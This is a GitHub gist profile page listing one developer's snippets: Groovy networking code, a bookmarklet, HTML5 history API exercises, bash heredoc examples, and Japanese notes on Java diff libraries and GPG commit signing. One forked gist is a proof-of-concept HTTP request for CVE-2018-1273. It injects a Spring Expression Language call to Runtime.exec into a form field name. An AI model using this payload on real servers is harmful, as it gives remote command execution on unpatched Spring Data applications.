Skip to content

Instantly share code, notes, and snippets.

View msakamoto-sf's full-sized avatar

Masahiko Sakamoto msakamoto-sf

View GitHub Profile
@msakamoto-sf
msakamoto-sf / t_tcp_echo_client_1.groovy
Last active August 29, 2015 13:56
very simple TCP Echo server and client, with "strace"ing server thread : example #1.
/*
* (no copyright, license-free, AS-IS, for any commercial or oss or free source code)
*/
String host = args[0]
int port = args[1].toInteger()
int to_connect = 10 * 1000 // connect timeout in milli secs
int to_read = 10 * 1000 // read timeout in milli secs
SocketAddress sa_local = null // bind to system default address and port.
SocketAddress sa_remote = new InetSocketAddress(host, port)
@msakamoto-sf
msakamoto-sf / get256bytes.groovy
Created May 26, 2014 08:20
create 0x00 - 0xFF 256 bytes binary data to stdout.
for (int i in 0..0xFF) {
System.out.write(i);
System.out.flush();
}
javascript:void(function(){if (window.location.href.match(new RegExp("file/d/(\\w+)/edit"))) { var n = "http://drive.google.com/uc?export=view&id=" + RegExp.$1; prompt("url", n); } else { prompt("not google drive image edit url. see:", "http://googlesystem.blogspot.jp/2013/02/permalinks-for-google-drive-images.html"); }}())
@msakamoto-sf
msakamoto-sf / history_api_ex1.html
Last active August 29, 2015 14:12
HTML5 hisotry API exercises
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>HTML5 history API exercise</title>
</head>
<script>
/*
HTML5 history API exercise 1.
@msakamoto-sf
msakamoto-sf / t_networkaddress_cache_ttl.groovy
Last active August 29, 2015 14:14
get "networkaddress.cache.ttl" and "networkaddress.cache.negative.ttl" for your environment. see java.net.InetAddress javadoc.
import sun.net.InetAddressCachePolicy;
// see: https://docs.oracle.com/javase/jp/8/api/java/net/InetAddress.html
// see: https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/sun/net/InetAddressCachePolicy.java
// for (Open/Oralce) JRE 7-8
// "networkaddress.cache.ttl"
println InetAddressCachePolicy.cachePolicy
// "networkaddress.cache.negative.ttl"
println InetAddressCachePolicy.negativeCachePolicy
println InetAddressCachePolicy.propertySet
@msakamoto-sf
msakamoto-sf / study-java-diff-implements.md
Last active November 1, 2022 23:40
diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。

diff(差分検出アルゴリズム)のJava実装調査メモ

diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。

※URLなどは2018-01-04時点のもの。

アルゴリズムの種類

diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:

@msakamoto-sf
msakamoto-sf / bash-here-doc.sh
Created March 24, 2018 06:18
bashのヒアドキュメントでテキストファイルに保存
# ヒアドキュメントをテキストファイルに保存
cat << EOF > demo.txt
abc
def
EOF
# ヒアドキュメントは標準入力として扱われるので、こんなことも。
psql mydb << SQL
select * from xxxx
insert into xxxx values (1, 2, ...)
@msakamoto-sf
msakamoto-sf / CVE-2018-1273.http
Created April 17, 2018 03:43 — forked from matthiaskaiser/CVE-2018-1273.http
POC for CVE-2018-1273
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
@msakamoto-sf
msakamoto-sf / gpg-commit-signing-with-vscode-and-github-integration-1.md
Created March 22, 2020 12:11
GitHub に GPG 公開鍵を登録して Verified マークを表示しようとしたけど今回のユースケースには向いてないので諦めた話

GitHub に GPG 公開鍵を登録して Verified マークを表示しようとしたけど今回のユースケースには向いてないので諦めた話

結局諦めた話になるので Qiita にも書くほどでもないが、それにしては参考URLがたくさん出てきたり、若干の考察もあるのでGistの方に載せます。

3行でまとめ:

  • Windows10, VSCode 1.43.1, Git for Windows 2.25.1 で GPG鍵を生成してcommit時に署名し、GitHubのcommit履歴で Verified を表示できた。
  • GPG鍵は失効対応も含め運用管理で利用者側にリテラシーが求められる = コストが大きい。
  • 複数人のcommitを束ねてpushするような規模であれば、そのcommitが本当に本人によるものかを確認できる署名付きcommitのメリットがコストを上回る。commitする人 = pushする人のような小規模であればコストのほうが大きくなる。今回は後者に該当するため、やらないことにして諦めた。
@msakamoto-sf
msakamoto-sf / liked-image-downloader.py
Created January 4, 2022 02:46
Twitter で「いいね!」した画像をローカルにダウンロードする Python スクリプト。(自分自身のアカウントを前提)
# Twitter で「いいね!」した画像をローカルにダウンロードする Python スクリプト。
# (自分自身のアカウントを前提)
#
# requirements: python3 (>= 3.10)
#
# setup:
# 1. `python3 -m venv venv`
# 2. `pip install tweepy==4.4.0`
# (if you installed via windows installer, try 'py -m venv venv')
#